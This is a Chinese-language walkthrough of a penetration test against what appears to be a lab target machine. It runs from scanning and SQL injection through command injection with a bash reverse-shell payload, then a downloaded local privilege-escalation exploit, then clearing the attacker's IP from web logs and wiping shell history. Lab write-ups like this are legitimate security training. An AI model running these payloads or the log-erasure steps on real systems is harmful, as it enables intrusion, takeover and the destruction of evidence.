一、信息收集
- 主机探测
nmap 192.168.30.0/24
- 指纹探测
nmap 192.168.30.192 -p 22,80,111,443,631,3306 -sV -sC -O --version-all
- 目录扫描
drib http://192.168.30.192
- 指纹识别
whatweb http://192.168.30.192
可以看到一个指纹信息 apache2.0.52,centos,php4.3.9
- 漏洞查询
searchsploit php apache
可以看到头两个符合版本,可以尝试
二、攻击
访问80端口
一个登录框,又开放了3306端口,尝试sql注入,抓包发现用户密码明文,直接上字典跑
进来之后好像也没啥,但是这个提示好像让我们ping机器,感觉输入框被隐藏了,查看html
可以看到有一段报红,可以看到报红处首行td标签的center处引号未闭合,然后接着下两行input标签就是输入框和提交按钮,得尝试修复闭合问题,才可以显示输入框和提交按钮
可以利用Burp发起请求然后抓取响应包
右键请求数据包,选择Do intercept 有一个response to this request,即拦截该请求包的响应包
拦截到后引号闭合处理再放行响应包
此时输入框成功显示,输入127.0.0.1
这不就是远程命令执行典型例子吗,尝试一波whoami
apache权限
直接尝试用bash反弹shell吧
kali上执行
nc -lnvp 4444
靶机输入框内输入
127.0.0.1 | bash -i >& /dev/tcp/192.168.30.176/4444 0>&1
成功反弹
三、提权
- 收集系统信息
uname -a
cat /etc/os-release
lsb_release -a
可以看到是Linux 2.6.9 CentOS4.5
- 漏洞利用脚本检索
searchsploit CentOS
复制脚本到当前目录
searchsploit -m 9542
- 编译运行exp
gcc 9542.c -o 9542
chmod +x 9542
./9542
出现报错
查看一下c文件
看了一圈,发现他没有指定目标机,直接开始本地提权,所以我们需要把脚本放到目标机
kali开启python网络服务
回到bash wget下载脚本
wget http://192.168.30.176/9542.c
发现当前目录没有写入权限,我们下载到/var/tmp目录下试试
cd /var/tmp
wget http://192.168.30.176:80/9542.c
编译执行
成功提权
四、痕迹清除
- 中间件痕迹清除
主要是清除web访问日志,日志又分access.log和error.log
find / -name 'access*'
清除上图四个
可以看到有我kali攻击机的记录
再来cat /var/log/httpd/access_log
可以看到有我本机(192.168.30.1)的记录,有kali(192.168.30.176)记录,access_log.1,access_log.2也一样
执行清除命令
sed -i '/192.168.30.1/d' /var/log/cups/access_log
sed -i '/192.168.30.1/d' /var/log/httpd/access*
可以看到我的记录都清除了,access_log.2还有记录,但那不是我的
再来找一下error日志
find / -name 'error*'
查看cups下的错误日志
主要记录时间有2009年,有2024年,2024年就是本次的记录
查看/httpd下的错误日志
记录了两种,有时间有IP
执行清除命令
sed -i '/2024/d' /var/log/cups/error*
sed -i '/192.168.30.1/d' /var/log/httpd/error*
sed -i '/2024/d' /var/log/httpd/error*
- 文件清除
rm /var/tmp/9542*
- 命令历史记录清除
history -c
小白一个,有什么错误的地方望大佬指出
文章原创,欢迎转载,请注明文章出处